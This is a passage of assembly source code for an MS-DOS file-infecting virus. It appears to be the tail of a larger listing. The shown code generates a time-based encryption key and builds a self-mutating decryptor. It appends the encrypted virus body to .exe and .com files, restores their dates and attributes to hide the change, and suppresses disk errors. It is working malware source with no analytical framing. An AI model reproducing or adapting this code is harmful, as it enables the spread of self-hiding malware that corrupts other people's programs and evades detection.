  941.           mov  ah,2ch                   ; Get current time
  942.           int  21h                      ; dh=sec,dl=1/100 sec
  943.           or  dx,dx                     ; Check if encryption value = 0
  944.           jz  get_encrypt_value         ; Get another if it is
  945.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  946.           lea  di,[bp+code_store]
  947.           mov  ax,5355h                 ; push bp,push bx
  948.           stosw
  949.           lea  si,[bp+decrypt]          ; Copy encryption function
  950.           mov  cx,startencrypt-decrypt  ; Bytes to move
  951.           push si                       ; Save for later use
  952.           push cx
  953.           rep  movsb
  954.  
  955.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  956.  
  957.           lea    si,[bp+write]          ; Copy writing function
  958.           mov    cx,endwrite-write      ; Bytes to move
  959.           rep    movsb
  960.           pop    cx
  961.           pop    si
  962.           pop    dx                     ; Entry point of virus
  963.           push   di
  964.           push   si
  965.           push   cx
  966.           rep    movsb                  ; Copy decryption function
  967.           mov    ax,5b5dh               ; pop bx,pop bp
  968.           stosw
  969.           mov    al,0c3h                ; retn
  970.           stosb
  971.  
  972.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  973.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  974.           call   code_store             ; decryption
  975.           pop    cx
  976.           pop    di
  977.           pop    si
  978.           rep    movsb                  ; Restore decryption function
  979.  
  980.           mov  ax,5701h                 ; Restore creation date/time
  981.           mov  cx,word ptr [bp+newDTA+16h] ; time
  982.           mov  dx,word ptr [bp+newDTA+18h] ; date
  983.           int  21h
  984.  
  985.           mov  ah,3eh                   ; Close file
  986.           int  21h
  987.  
  988.           mov ch,0
  989.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  990.           call attributes               ; attributes
  991.  
  992.           dec  byte ptr [bp+numinfec]   ; One mo infection
  993.           jnz  mo_infections            ; Not enough
  994.           pop  ax                       ; remove call from stack
  995.           jmp  done_infections
  996. mo_infections: jmp find_next
  997.  
  998. open:
  999.           mov  ah,3dh
  1000.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  1001.           int  21h
  1002.           xchg ax,bx
  1003.           ret
  1004.  
  1005. attributes:
  1006.           mov  ax,4301h                 ; Set attributes to cx
  1007.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  1008.           int  21h
  1009.           ret
  1010.  
  1011. write:
  1012.           pop  bx                       ; Restore file handle
  1013.           pop  bp                       ; Restore relativeness
  1014.           mov  ah,40h                   ; Write to file
  1015.           lea  dx,[bp+decrypt]          ; Concatenate virus
  1016.           mov  cx,heap-decrypt          ; # bytes to write
  1017.           int  21h
  1018.           push bx
  1019.           push bp
  1020. endwrite:
  1021.  
  1022. int24:                                  ; New int 24h (error) handler
  1023.           mov  al,3                     ; Fail call
  1024.           iret                          ; Return control
  1025.  
  1026. exe_mask            db '*.exe',0
  1027. com_mask            db '*.com',0
  1028. dot_dot             db '..',0
  1029. heap:                                   ; Variables not in code
  1030. ; The following code is the buffer for the write function
  1031. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  1032. oldint24            dd ?                ; Storage for old int 24h handler      
  1033. backslash           db ?
  1034. origdir             db 64 dup (?)       ; Current directory buffer             
  1035. newDTA              db 43 dup (?)       ; Temporary DTA                        
  1036. numinfec            db ?                ; Infections this run                  
  1037. buffer              db 1ah dup (?)      ; read buffer                          
  1038. endheap:                                ; End of virus
  1039. end       entry_point
  1040.